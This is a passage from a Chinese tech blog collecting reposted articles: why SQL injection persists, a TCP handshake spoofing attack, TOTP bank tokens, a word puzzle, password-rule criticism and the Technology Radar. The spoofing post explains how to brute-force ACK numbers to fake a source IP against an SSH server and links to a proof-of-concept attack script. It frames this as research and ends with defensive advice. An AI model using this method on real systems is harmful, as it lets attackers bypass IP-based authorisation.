10问题上,SQL注入攻击经常坐上榜首的位置。OWSAP全称是开放式Web应用程序安全项目(Open Web Application Security Project),它是一个监控网站面临哪些安全威胁的非盈利性组织。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a17071fdf2_7cc829d3jw1f26jzkbrnqj20hs0dcmz7.jpg) Phrack现在的logo “SQL注入经常是第一威胁,主要反映在相关攻击事件的数量上,同时还有一些其他因素导致它如此频发,” Troy Hunt在Motherboard的一次电话采访中如是说道,Troy Hunt是攻击检测网站haveibeenpwned.com的创始人 _[译者注:感觉像是一个社工库]_ 。 “当你访问一个网页时,你发出一个请求,然后渲染服务器返回的数据”, Hunt介绍,“举个例子,你看一篇新闻,在地址栏上使用id=‘1’来发出请求时,服务器返回编号为1的文章,把id改成2的时候,服务器返回编号为2的文章” 但是,“使用SQL注入攻击,攻击者可能会将ID字段改成一个其他什么东西,导致服务器做一些意料之外的事情”,Hunt继续说到,比如返回一些隐私数据。 一次攻击也许只返回一条或者一段信息,于是攻击者就“不断重复攻击,一次又一次,想干几次干几次,直到他们获取到所有数据为止”,Hunt说。 显然,这需要一段比较长的时间,所以,黑客一般会使用自动化工具。其中比较具有代表性的事Havij,“这是最流行的脚本小工具,因为它支持Windows操作系统,而且还有个图形界面”, Mustafa AI-Bassam通过在线聊天工具和Motherboard如此描述,他是一名安全研究员,同时还是一名LulzSec黑客组织的前成员。 另一个经常被用到的工具是 sqlmap 。“它可以爬取网站的页面,就像搜索引擎的爬虫,寻找网站中所有输入表单,然后提交一些可能导致MySQL语法错误的数据”, AI-Bassam继续介绍。 当攻击者找到一个攻击点,接下来就很容易自动化开搞了。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/94fd4d02d9_7cc829d3jw1f26jzlny09j20dg08sgoh.jpg) sqlmap的界面 “他们会使用Google来搜索那些典型的容易受到SQL注入脚本攻击的URL”, AI-Bassam说。“他们还经常使用脚本来检查所有URL,用自动化的方法来试探是否存在漏洞” “你甚至可以教一个4岁的孩子来做这种事情 _[译者注:汗~~我还不如个4岁的孩子]_ ”, AI-Bassam补充道,强调这整个过程简单到令人发指的地步。确实,Hunt就曾经上传过一个视频,视频上显示他是怎么教他3岁的儿子用Havij来实施SQL注入攻击的 _[译者注:这是真爱啊,我坚决不会让我女儿走上计算机这条不归路]_ “你把要攻击的URL输入进来,然后所有数据就出来了”,Hunt向Motherboard介绍道。在YouTube上有太多教程来介绍如何实施SQL注入攻击了。 事实上,已经有很多解决方案被网站开发人员用来防止SQL注入攻击了和避免客户信息或者公司信息泄漏了。而且那些解决方案一经存在好几年了。 所有这些解决方案的核心都是采用“prepared statments” (预编译声明?): 当SQL语句在数据库中执行是,绝对不能直接执行用户的输入。 > 如果这些解决方案直接有效,那为何SQL注入攻击还是这么猖獗呢? “使用prepared staement的好处是它们可以从语义层面上杜绝任何在开发者意料之外的输入,这些输入可以通过构造一些SQL语法,让数据库查询语句从任意一张数据表中获取一条额外的数据”,Mike Schema在给Motherboard的一封email中如此说导,他是雅虎的一名高级经理、软件工程师。 另外一种做法是“使用SQL库对用户输入做一些净化操作”,AI-Bassam建议。简而言之,就是将输入中任何潜在的恶意部分去除掉。 那么,如果SQL注入如此简单,以至于小孩子都能用,而且解决方案又这么直接有效,为什么SQL注入攻击还这么猖獗呢? “任何一名严谨的程序员都应该知道SQL注入攻击,但是仍然有大量的程序员缺乏经验,所以公司在雇佣某人的是偶,他可能没有受到过任何关于如何消除风险的训练”, AI-Bassam指出。除此之外,“他们的经理们往往只要求开发出能用的软件,而不是安全的软件”。 来自雅虎的Schema也认同这一点,并且补充“有些时候,一些小应用功能有限,要求很快就把东西做出来”,导致开发者经常忽略一些应对各种攻击的工作,尽管他们实施起来也不是很困难。 Hunt不是那么宽容,他也不认同所有的过错都来自于高层管理的压力。相反,他认为现在有网上有这么多教程详细的向开发人员讲解如何避免SQL注入攻击,对,是详细的教程,不仅仅是一些好的建议。“这些年,我看到很多有关如何避免明显的SQL注入风险的教程”,他说到。 随着互联网黑客们不停的在YouTube上分享他们的SQL注入攻击经验,网站的开发者们也没有闲着。“我们有能力的人站出来,分享他们的专业知识,而不仅仅是把自己的事情做好就行了”,Hunt说。 最后,这些网站的安全和他们的数据安全归根到底还是网站开发者自己负责的。这意味着SQL注入攻击和漏洞还会存在,至少在未来一段时间内不会消失。 _[译者注:估计原作者的意思是安全还是由开发者自己负责,不在于黑客不去攻击,自己开发的时候不注意,还是没办法避免被攻破的~~]_ SQL 注入,永不过时的黑客技术,首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 如何伪造 TCP 握手? Date: 2016-03-14 URL: https://blog.wo.ai/archives/1149 Categories: Uncategorized 据我们所知,这种攻击是新发现的。询问一下周围的人,几乎都认为TCP握手会对两侧的IP地址进行验证。这种攻击表明实际上并非如此。 在一个方提斯大学的合作项目中,我和Raoul Houkes研究不同的TCP攻击方式,要不就在协议层面,要不就针对具体的实现。我们发现了一种协议方面的攻击,它可以影响到所有正确的协议实现。 客户端A要与B建立连接,TCP握手的过程是这样的: A:你好,B。我是A。发送序列号(SYN)是5。 B:你好,A。我是B,确认序列号(ACK)是5,发送序列号(SYN)是3。 A:你好,B。我是A,确认序列号(ACK)是3,发送序列号(SYN)是6。我要请求example.net。 B:你好,A。我是B,确认序列号(ACK)是6.发送序列号(SYN)是4。下面是你请求的结果:…… 然后,A和B之间就可以相互通信了。对A或者B而言,每发送一个byte,序列号都会相应地增加。这样就可以跟踪是否所有的数据都被对方接收,保证可靠的传输。 在1981年,这种通讯方式被设计出来的时候,安全并没有那么重要。ARPANET适应单一网络,并且他们需要这样一个发送数据的协议:能够进行出错重传,错误校验,并且可以保持包的有序性等等。TCP解决了所有这些问题。 。 目前,这两个数字域,分别叫做发送序列号(SYN)和确认序列号(ACK),用来保证安全可靠的传输。但是,同时也存在两个问题: 1. 这两个数字域都只有32字节,无法记录更大的数值。 2. 由于它们的双重目的,序号不正确的报文会被丢弃,而不破坏连接。换言之,你可以发送一个ACK不正确的报文,然后再发送一个ACK正确的报文,正确的报文可以被接收。 A向B发送数据包,我们利用上面两个特性来进行攻击,大致过程如下: A:你好B。我是C。发送序列号(SYN)是5。 B:你好C。我是B。确认序列号(ACK)是5。发送序列号(SYN)是3。 A:你好,B。我是C,确认序列号(ACK)是 1,发送序列号(SYN)是6。我要请求example.net。 B:你好C。我是B,你的报文不正确。请关闭连接。 A:你好,B。我是C,确认序列号(ACK)是2,发送序列号(SYN)是6。我请求example.net。 B:你好C,我是B。这是不正确的。请关闭连接。 A:你好B,我是C,确认序列号(ACK)是3。发送序列号(SYN)是6。我想请求example.net。 B:你好C,我是B,确认序列号(ACK)是6,发送序列号(SYN)是4,以下是你请求的结果…… 在上面的案例中,主机A没有收到B的任何消息,B也不知道响应的是一个假的IP地址。主机A伪装成了C的IP地址。 这中攻击的先决条件之一是真正的C没有发送后续报文(或者RST报文),但是这非常容易实现,使用一个并不存在的C(比如0.0.0.0)或者利用防火墙(客户端一般都处于全状态防火墙的后面,或者是NAT, 也或者两者都有)。 B等待C(或者其他客户端)确认消息的时间是有限的。我在Linux4.2内核上做过实验,等待时间是20秒。20秒之后,你需要重新开始(发送下一个SYN),但是这没有什么意义,因为选择的序列号完全是随机的。 这种攻击的成本如何呢?平均而言,平均而言,需要耗费120GB的网络流量(60byte的因特网头,IP头和TCP头的组合)来创建一个虚假连接。也许你很不幸要花费200GB的流量,也可能很幸运只要72GB就够了。 简单调查表明很多VPS系统中1 gbps的带宽花不了多少钱。如果你能充分利用可用带宽,平均而言这种攻击17分钟11秒就够了。 通常你想注入有效载荷,例如,发送一个命令。这个命令需要拼接到已经存在的数据上,使得攻击耗费的流量更大。例如,发送“GET/HTTP/1.0nn”平均下来要花费了152GB或者20分钟。这可以在访问日志中展体现出来,虽然看上去是一个完美的正常连接。 这种攻击的其他案例还包括绕过黑名单或者白名单,比如在某些系统的管理接口上。这从90年代就非常流行,而且现在仍然广泛存在,很多新应用设备还是才用这种方式运行。 ## 概念证明(Proof of concept,简写作PoC) 一个研究项目没有Poc像什么话呢?下面是一些Wireshark的截图,一个dump包,以及用到的代码。 [![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f0dd5adbfe_7cc829d3jw1f1wstnzg2pj20sr07279p.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f0dd5adbfe_7cc829d3jw1f1wstnzg2pj20sr07279p.jpg) [(点击查看大图)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f0dd5adbfe_7cc829d3jw1f1wstnzg2pj20sr07279p.jpg) 我筛选出了一些192.168.36.17捕获的相关包。第一个包是初始化包,192.168.36.11发送的,伪装的IP是192.168.36.18.。我们的目标主机向虚假IP 192.168.36.18发送响应报文。192.168.36.17开始猜测正确的ACK号。注意,时间从0.x秒增加到8.x秒,这里我把一些尝试过滤掉了。在某一时刻数字从2的32次方(4十多亿)到0,这时因为Wireshark给了我们一个相对的数字。这也意味着我们已经发现了正确的序号。我们向SSH服务器发送确认序列号(ACK)1,服务器收到这个序号后,开始响应。SSH服务器假定拥有的连接都是有效TCP连接。 以下是一些更详细的会话内容: [![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6819109349_7cc829d3jw1f1wstp8isbj20ul0ecdq5.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6819109349_7cc829d3jw1f1wstp8isbj20ul0ecdq5.jpg) [(点击查看大图)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6819109349_7cc829d3jw1f1wstp8isbj20ul0ecdq5.jpg) Server选取的的随机数字是0x0006943f (或者 431167)。 [![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6819109349_7cc829d3jw1f1wstpv9vrj20uj0frk16.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6819109349_7cc829d3jw1f1wstpv9vrj20uj0frk16.jpg) [(点击查看大图)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6819109349_7cc829d3jw1f1wstpv9vrj20uj0frk16.jpg) 在某一时刻,我们脚本猜测出了0×00069440 (或者 431168),这是正确的数字,因为我们需要发送我们收到的数字加1。 [![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/66a1facd7d_7cc829d3jw1f1wstqvm2ij20uk0grdq7.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/66a1facd7d_7cc829d3jw1f1wstqvm2ij20uk0grdq7.jpg) [(查看大图)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/66a1facd7d_7cc829d3jw1f1wstqvm2ij20uk0grdq7.jpg) SSH服务器对此作出了响应,发送了一个标志有效连接开始的标题报文。 原始dump包只有15秒,因为我只在捕获了日志交替之前15秒的事件。感觉15秒时间并不长,但是这有5 544 384(550万)个包,几乎占领十亿字节的一半。如果你想看一下实际效果,可以运行下面提供的攻击代码攻击。 上面的看到的dump包可以点击下面的链接下载: [spoofed-tcp-connection.pcap](http://lgms.nl/files/spoofed-tcp-connection.pcap) 最后,进行攻击的代码也可以点击下面的链接下载: [attack-tcp.py](http://lgms.nl/files/attack-tcp.py) 作为一个真正的PoC,以上代码是为了这个目的而写的,没有考虑可维护性。 ## 结论 这种攻击很难避免,因为这是TCP协议的本身的特性造成的。只能漫无目的的猜测可能被注入的无效ACK,然后将它作为一个关闭连接的理由,但即便如此还是很容易受到攻击。 为了验证一次连接的双方,需要用到附加的安全验证方式例如TLS。即使证书没有被授权,一些加密的TLS会话还是要进行,因为有些附加的数据需要传送到客户端。这使得证明变得不可行。 经验总结:不要使用基于IP地址的授权,不要相信IP地址白名单,当需要安全验证(或者不可可抵赖)的时候考虑使用安全协议。 作为一个真正的PoC,以上代码是为了这个目的而写的,没有考虑可维护性。 ### 相关文章 * [从TCP协议的原理来谈谈RST复位攻击](http://blog.jobbole.com/72910/) * [Redis 未授权访问缺陷可轻易导致系统被黑](http://blog.jobbole.com/94518/) * [Nginx 的 TCP 负载均衡介绍 ](http://blog.jobbole.com/91757/) * [通信协议:HTTP、TCP、UDP](http://blog.jobbole.com/84429/) * [理解 TCP/IP 网络栈 & 编写网络应用](http://blog.jobbole.com/86656/) * [Wireshark 基本介绍和学习 TCP 三次握手](http://blog.jobbole.com/94996/) * [互联网协议入门(二)](http://blog.jobbole.com/77931/) * [互联网协议入门(一)](http://blog.jobbole.com/77851/) * [HTTP 长连接和短连接](http://blog.jobbole.com/93960/) * [C#高性能 TCP 服务的多种实现方式](http://blog.jobbole.com/97902/) [如何伪造 TCP 握手?](http://blog.jobbole.com/98768/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 银行的动态口令令牌是什么原理 Date: 2016-02-15 URL: https://blog.wo.ai/archives/1148 Categories: Uncategorized 有网银的少年们一般都收到过银行给的这样一个令牌,俗称动态口令,在支付的时候输入自己的密码和动态口令上的动态密码,就能完成验证,银行就相信你不是坏人了,今天我们来简述一下这个动态口令令牌是个什么原理。 PS:本篇阅读可能需要读者有一些密码学基础,预警一下。 ![SID700.jpg](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0e6d145159_ebd4d8d9eeb5a7b59b9e8a46527011b0.jpg) RSA SecurID SID700 如图的RSA SecurID SID700是当前市面上流行使用的动态口令令牌,在笔者准备资料的过程中发现国内描写动态口令的野生博客有不少谬误,其中大多是对银行这一套认证机制结构的不了解,所以首先要强调的是: > 在大众用户手中的动态口令令牌,并不使用任何对称或者非对称加密的算法,在整个银行的认证体系中,动态口令令牌只是一个一次性口令的产生器,在其中运行的主要计算仅包括时间因子的计算和散列值的计算。 动态口令算法又叫一次性口令算法,英文写作OTP(One-Time Password Algorithm), 动态口令令牌使用的算法是OTP中的一类,TOTP(Time-Based One-Time Password Algorithm) — 时间同步型动态口令。 时间同步型动态口令产生口令的时候和时间有关系,我们可以通过其工作的原理图来看一下: ![Screen Shot 2016-02-08 at 5.06.00 PM.png](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/60ad0f51af_173337dbc10da782d9a8671f02b04d07.png) 图示给出了动态口令的工作原理,突出了整个认证机制中的动态口令部分,我们可以清楚看到在最左边和最右边有完全相同的两个流程,这里分别代表了用户的令牌卡和银行服务器的验证机器做的工作。本文的重点就在这两个完全相同的流程上。 在用户从银行手中拿到动态口令令牌卡的时候,在令牌卡的内部已经存储了一份种子文件(即图中钥匙所代表的seed),这份种子文件在银行的服务器里保存的完全一样的一份,所以对于动态口令令牌来说,这种方式是 share secret的。另外在令牌硬件上的设置中,假使有人打开了这个令牌卡,种子文件将会从令牌卡的内存上擦除(待考证)。 令牌卡中有了种子文件,并实现了 TOTP 算法,在预先设置的间隔时间里它就能不断产生不同的动态口令,并显示到屏幕上,而银行服务器上跟随时间做同样的计算,也会得到和令牌卡同样的口令,用作认证。 那么 TOTP 算法具体做了什么操作呢?在 [RFC6238](http://tools.ietf.org/html/rfc6238) 中有详细的算法描述,这里也会做简单的叙述。 TOTP 是来自 HOTP [[RFC4226](http://tools.ietf.org/html/rfc4226)] 的变形,从统筹上看,他们都是将数据文件进行散列计算,只是HOTP的因子是事件因子,TOTP将因子换成了时间因子,具体的TOTP计算公式(其中的HMAC-SHA-256 也可能是 HMAC-SHA-512): > TOTP = Truncate(HMAC-SHA-256(K,T)) > > 其中: K 为这里的种子文件内容; T 为计算出来的时间因子 公式中的 HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code),HMAC运算利用哈希算法,以一个密钥和一个消息为输入,生成一个消息摘要作为输出。而公式中给出的哈希算法是 SHA-256,这种哈希算法目前并没有好的破解办法。 令牌卡中预先设置了要显示的口令长度,TOTP 中的 Truncate 操作剪切获得口令。 以上就是动态口令令牌卡的内部原理。 几点补充: 1\. 时间同步型动态口令对令牌卡和服务器的时间同步要求很高,时间误差会造成整个令牌的失灵,所以每一次用户成功使用令牌认证,服务器都会做相应的时间误差矫正。 2\. 种子文件的产生使用了一种AES-128 变形而来的算法, AES-128 也是目前顶尖级的对称加密技术。 3\. 目前从加密技术上以及数学理论上整个银行机制的认证系统基本无解。 4\. 欢迎勘误。 参考链接: * [how-does-rsa-tokens-work](http://stackoverflow.com/questions/8340495/how-does-rsa-tokens-work) * [TOTP: Time-Based One-Time Password Algorithm](http://tools.ietf.org/html/rfc6238.) ### 相关文章 * [安全密码存储,该怎么做,不该怎么做?](http://blog.jobbole.com/23695/) * [Redis 未授权访问缺陷可轻易导致系统被黑](http://blog.jobbole.com/94518/) * [不要再强迫我设置复杂密码](http://blog.jobbole.com/97290/) * [在线扑克如何作弊:一次软件安全研究](http://blog.jobbole.com/70736/) * [Egor Homakov:我是如何再次黑掉GitHub的](http://blog.jobbole.com/61115/) * [我是怎样通过Sudo获取root权限的](http://blog.jobbole.com/68930/) * [通过 Facebook Notes 可以 DDOS 攻击任何网站](http://blog.jobbole.com/69324/) * [大型网站的 HTTPS 实践(2):HTTPS 对性能的影响](http://blog.jobbole.com/86664/) * [信息安全入门指南](http://blog.jobbole.com/48738/) * [用户是最大的漏洞](http://blog.jobbole.com/13258/) [银行的动态口令令牌是什么原理](http://blog.jobbole.com/97877/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## Find the English word from the picture 找出图片里面的英文 Date: 2016-02-14 URL: https://blog.wo.ai/archives/1132 Categories: English, Funny ![20160130144234a5d7e_550](/wp-content/uploads/2016/02/20160130144234a5d7e_550-300x230.png) Book words story pages read novel ![20160130144242a1228_550](/wp-content/uploads/2016/02/20160130144242a1228_550-300x257.png) Music Party Hungry Red Cheese Yummy ![20160130144246d044a_550](/wp-content/uploads/2016/02/20160130144246d044a_550-300x257.png) chill sled frost cold toboggan ice ![20160130144251a83d9_550](/wp-content/uploads/2016/02/20160130144251a83d9_550-300x253.png) tree fish boy hot wave nice ![201601301442370d8e3_550](/wp-content/uploads/2016/02/201601301442370d8e3_550-300x255.png) Clouds showers damp wet storm puddle ![201601301442442f3f9_550](/wp-content/uploads/2016/02/201601301442442f3f9_550-300x260.png) Farm Dig Seed Garden Bloom Vine ![2016013014425434d16_550](/wp-content/uploads/2016/02/2016013014425434d16_550-300x262.png) straw mirror tiles couch cat cord ![20160130144249208c7_550](/wp-content/uploads/2016/02/20160130144249208c7_550-300x256.png) Iowa cow guitar orange wow laugh ![201601301442391231b_550](/wp-content/uploads/2016/02/201601301442391231b_550-300x257.png) boots chill mittens snow frost ice ![2016013014425618548_550](/wp-content/uploads/2016/02/2016013014425618548_550-300x257.png) see snow man cut cool tell --- ## 不要再强迫我设置复杂密码 Date: 2016-01-25 URL: https://blog.wo.ai/archives/1111 Categories: Uncategorized 我最近读的一篇[博文](https://alfrednutile.info/posts/166) _(伯乐在线注:请看本文最后)_ ,是关于强制使用更复杂的密码。原作者说这是为了更安全,但我认为这些技术不是最好的方式,比起「实用」来说,显得很麻烦。 ## 问题 你想实施更安全的密码,我懂。但是, **请停止强迫我使用你那糟糕的密码规则 🙁** 不让这篇文章那么严肃,我在试图做到这一点。我只是因为那篇文章有了灵感写下我的想法,不是针对作者。总之我是在和每一个在自己的网站和服务器使用这些密码规则的人讲话。我讨厌这些类型的规则: 'password' => [ 'required', 'confirmed', 'min:8', 'regex:/^(?=S*[a-z])(?=S*[A-Z])(?=S*[d])S*$/', ]; 密码必须包含 1 个大写字母,1 个小写字母和数字。 有了这样的一个规则,密码 `Abcd1234 `会通过你的有效性检测,但是 `mu-icac-of-jaz-doad` 不会。 我知道你大概是想让人们使用随机字符密码,像 `i%Mk3c4n`,但是你的规则实际上并没有这样执行,这些密码是个麻烦事而且不安全,除非它们足够长——使得它们成为更麻烦的事。打出这些密码很痛苦,尤其是在那些你没有安装密码管理器的手机和计算机上。 其次,使用不安全密码的人依旧会使用愚蠢的密码(比如 `Loverboy1964),`所以你没有帮助任何人。 停止强迫我使用你专制的规则并鼓励其他人这么做——我的密码是更好呢。 ### 例子 那位博主允许使用的 2 个密码: [![ecf66cbb9a_7cc829d3gw1f0bhdnvdxyj20z40mg77r](/wp-content/uploads/2016/01/ecf66cbb9a_7cc829d3gw1f0bhdnvdxyj20z40mg77r-300x192.jpg)](/wp-content/uploads/2016/01/ecf66cbb9a_7cc829d3gw1f0bhdnvdxyj20z40mg77r.jpg) [![92e608a77b_7cc829d3gw1f0bhdojp0ej20zk0o0adw](/wp-content/uploads/2016/01/92e608a77b_7cc829d3gw1f0bhdojp0ej20zk0o0adw-300x203.jpg)](/wp-content/uploads/2016/01/92e608a77b_7cc829d3gw1f0bhdojp0ej20zk0o0adw.jpg) 下面这两个是那位博主不允许使用的密码: [![3db8c04b92_7cc829d3gw1f0bhdp3w2vj20zg0ni424](/wp-content/uploads/2016/01/3db8c04b92_7cc829d3gw1f0bhdp3w2vj20zg0ni424-300x199.jpg)](/wp-content/uploads/2016/01/3db8c04b92_7cc829d3gw1f0bhdp3w2vj20zg0ni424.jpg) [![07d907f9f8_7cc829d3gw1f0bhdpqnztj20z80ni428](/wp-content/uploads/2016/01/07d907f9f8_7cc829d3gw1f0bhdpqnztj20z80ni428-300x200.jpg)](/wp-content/uploads/2016/01/07d907f9f8_7cc829d3gw1f0bhdpqnztj20z80ni428.jpg) ## 解决方案 我不知道,但是如果你真的想要执行一些比此列表上的密码更安全的东西,那就不要强制不必要的复杂模式。你的验证规则,还是会让人继续用的原密码中的大部分,只是增加一个大写字母,或两三个数字。 _(注1:此处提到的密码列表,里面都是 123456 、password、qwerty 之类的「愚蠢密码」)_ 相反,为什么不提高密码所需的最小长度,禁止 3 位或更长的数字序列 `/[0-9]{3,}/?` 你可以在那之后往前走一小步,不允许同样的字符在一行(相邻)重复两次以上 `/(.)1{2,}/`,而且还没有太多的麻烦。 这将消除大部分的困扰,并不会不必要地限制您的用户密码选择。 ## 更新 更好的是,为什么不忘记所有这些规则,只使用一个最小密码强度要求。 [![fc81ac093e_7cc829d3gw1f0bhdqbiphj20ac022jr9](/wp-content/uploads/2016/01/fc81ac093e_7cc829d3gw1f0bhdqbiphj20ac022jr9-300x60.jpg)](/wp-content/uploads/2016/01/fc81ac093e_7cc829d3gw1f0bhdqbiphj20ac022jr9.jpg) 来自 reddit 网友 sarciszewski 的建议: 我不明白为什么那么多人不用 Zxcvbn。 * * 我们并不特别关心你的密码包含了什么,只要密码强度估计量足够好就行。想要用2000个’A’构成一个ASCII penis来检测,zxcvbn 不会提醒你密码不包含小写字母不能使用而让你失望。 ### 相关漫画 #### 密码强度 (xkcd) [![fc5ab6eb06_7cc829d3gw1f0bhdr2msvj20kk0gpn1i](/wp-content/uploads/2016/01/fc5ab6eb06_7cc829d3gw1f0bhdr2msvj20kk0gpn1i-300x243.jpg)](/wp-content/uploads/2016/01/fc5ab6eb06_7cc829d3gw1f0bhdr2msvj20kk0gpn1i.jpg) * * * ### 《在 Laravel 中强制复杂密码的建议》 _([英文原文](https://alfrednutile.info/posts/166))_ 根据简单优雅的 [Laravel 文档](http://laravel.com/docs/5.1/validation),我将快速介绍如何促进用户使用更好的密码。通过 [Authentication](http://laravel.com/docs/5.1/authentication) 的标准文档,我们用一个注册表单来说明。在 Laravel 的 [AuthController](https://github.com/laravel/laravel/blob/master/app/Http/Controllers/Auth/AuthController.php) 中,我稍作了修改。 (伯乐在线补注:Laravel 是一个 PHP Web 开发框架。) protected function validator(array $data) { $messages = ['password.regex' => "Your password must contain 1 lower case character 1 upper case character one number"]; return Validator::make($data, [ 'name' => 'required|max:255', 'email' => 'required|email|max:255|unique:users', 'password' => 'required|confirmed|min:8|regex:/^(?=\S*[a-z])(?=\S*[A-Z])(?=\S*[\d])\S*$/', ], $messages); } 使用[文档](http://laravel.com/docs/5.1/validation#available-validation-rules) 和 Laravel 文档的正则表达式规则,我可以设置一个表达式来检查这些字符,我还可以设置一个自定义消息如果失败。 通过这些微小的工作我们可以用一个错误消息来帮助用户设置更好的密码。 [![925473f4a9_7cc829d3gw1f0bhka30krj20j60anjs8](/wp-content/uploads/2016/01/925473f4a9_7cc829d3gw1f0bhka30krj20j60anjs8-300x167.jpg)](/wp-content/uploads/2016/01/925473f4a9_7cc829d3gw1f0bhka30krj20j60anjs8.jpg) ### [不要再强迫我设置复杂密码](http://blog.jobbole.com/97290/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 技术雷达 : 关于技术趋势的分析报告 Date: 2016-01-12 URL: https://blog.wo.ai/archives/1109 Categories: Uncategorized 就在刚刚过去的2015年11月份,ThoughtWorks又发布了最新一版的技术雷达。技术雷达是什么,来源以及如何运用,可以参考[Neal Ford](https://www.thoughtworks.com/profiles/neal-ford)的一篇文章[《Build Your Own Technology Radar》](https://www.thoughtworks.com/insights/blog/build-your-own-technology-radar)【[中文翻译](http://insights.thoughtworkers.org/build-your-own-technology-radar/)】,这里就不再赘述。在本期的技术雷达中,提出了四个最新的技术动态,分别为:“Docker引爆容器生态系统”、“微服务及相关工具受到追捧”、“JavaScript工具正在趋于平稳”、“安全是每一个人的问题”。本文就主要围绕这四个最新的技术动态,阐述一下笔者个人的理解和分析。 ### Docker引爆容器生态系统 Docker现在非常火,作为一个开源的应用容器引擎,它的出现让容器技术的使用和管理变得非常简单,也促使更多的人开始关注和意识到容器技术的真正价值和威力。由于其基于LXC的轻量级虚拟化技术,相比于KVM之类传统的虚拟机技术最明显的特点就是启动快,资源利用率高。启动一个容器只需要几秒钟,在一台普通的PC上甚至可以启动成百上千的容器,这都是传统虚拟机技术很难做到的。目前容器技术已经被广泛应用在软件开发的各个阶段各个领域,例如用于管理开发环境、用于测试、构建项目和实施持续集成,当然也可以作为传统云平台虚拟化的替代方案,实现更为轻量更具弹性的云计算平台。 虽然上文提到的这些应用场景都是非常有价值的,但还不能体现Docker或是说容器技术如此火爆的原因。我们知道Container通常翻译为容器,但是还有另一个翻译就是集装箱,集装箱被很多人称为是21世纪最伟大的发明之一,它的发明和广泛使用甚至改变了世界的货物运输体系,促进了经济的全球化发展,《集装箱改变世界》这本书就是讲述了集装箱是如何改变世界的。而我们现在所提的容器技术和Docker,是不是也在致力于改变软件的世界,改变我们开发、测试、构建、部署、运维所有这些的现有方式呢?我觉得是有可能的,因为无论是集装箱还是容器技术都为我们带来了两个重要的好处:**一致性和隔离** 。 [![E5B18FE5B995E5BFABE785A7-2015-12-05-E4B88BE58D889.27.22-1](/wp-content/uploads/2016/01/E5B18FE5B995E5BFABE785A7-2015-12-05-E4B88BE58D889.27.22-1-300x93.png)](/wp-content/uploads/2016/01/E5B18FE5B995E5BFABE785A7-2015-12-05-E4B88BE58D889.27.22-1.png) 我们知道一个产品是否可以正常提供服务,只去确保软件本身没有问题是远远不够的,需要同时保证软件、基础设施(例如硬件、操作系统和运行环境)以及配置的正确性和可靠性。而传统的软件开发方式,对于这三个方面的管理是分离的,再加上三者之间错综复杂的关系,就造成了我们常常挂在嘴边的“环境问题”。但是通过使用容器技术,我们如果将软件、基础设施和配置作为一个整体使用容器进行封装,产生一个个已经同时包含了软件以及其运行环境的经过严格测试检验的“包”。这样当部署“包”的时候就不需要再考虑环境的问题,也不需要关心现在部署的是一个Web服务还是一个数据库服务,要做的只是把一个个容器标准化地安装到指定的容器引擎即可。 [![E5B18FE5B995E5BFABE785A7-2015-12-05-E4B88BE58D889.26.07-1](/wp-content/uploads/2016/01/E5B18FE5B995E5BFABE785A7-2015-12-05-E4B88BE58D889.26.07-1-300x169.png)](/wp-content/uploads/2016/01/E5B18FE5B995E5BFABE785A7-2015-12-05-E4B88BE58D889.26.07-1.png) 可能正是大家都看到了容器技术以及Docker对于软件开发各个领域正在带来的改变,容器技术的生态系统也在经历着一个快速发展的阶段,涉及到开发辅助、集群管理、服务编排、内容发现、云平台搭建等各种工具框架都一一呈现在我们面前,其中像Google和Amazon这样的巨头也都在第一时间发布了各自与容器相关的服务和框架。 [![1224-E78E8BE581A5-3](/wp-content/uploads/2016/01/1224-E78E8BE581A5-3-300x169.png)](/wp-content/uploads/2016/01/1224-E78E8BE581A5-3.png)[ ](http://insights.thoughtworkers.org/wp-content/uploads/2015/12/1224-%E7%8E%8B%E5%81%A5-9.png) ### 微服务及相关工具受到追捧 如果大家关注Docker,也肯定会经常听到一种与之相关的架构,也就是微服务架构: > `“微服务架构是一种架构模式,它提倡将单一应用程序划分成一组小的服务,服务之间互相协调、互相配合,为用户提供最终价值。每个服务运行在其独立的进程中,服务与服务间采用轻量级的通信机制互相沟通(通常是基于HTTP协议的RESTful API)。每个服务都围绕着具体业务进行构建,并且能够被独立的部署到生产环境、类生产环境等。另外,应当尽量避免统一的、集中式的服务管理机制,对具体的一个服务而言,应根据业务上下文,选择合适的语言、工具对其进行构建。”` 这是Martin Fowler给出的对于微服务架构的定义,其中提到了微服务架构的四个特点: * 将单一的应用程序划分成一组小的服务 * 每个服务运行在其独立的进程中 * 轻量级的通信机制 * 独立的部署到生产环境 我看过很多非常成功的公司在分享其系统架构演进历程时,往往最后都会落脚于服务拆分和业务服务化。其实这也不算是什么新的概念了,几年前流行的SOA面向服务架构就已经为我们描绘了一个服务化架构的美好前景。那为什么又提出了一种新的微服务架构呢?对于这个问题Martin Fowler在他的那篇[《Microservices》](http://martinfowler.com/articles/microservices.html)也给出了他的回答。简要来说就是虽然这两种技术都是以服务化和组件化为目标,但是架构理念和技术策略上有太多的不同。例如上边提到的微服务架构的主要特点以及其倡导的演进式架构设计,去中心化的架构风格,采用轻量化通信机制,强调独立部署等都是与SOA所提倡的技术和思路有很大区别。微服务架构也更契合现代的技术发展趋势,例如RESTful API的流行,嵌入式应用服务器的应用,持续集成、持续交付的普及,容器技术爆发,组件化的趋势,云平台的发展等。 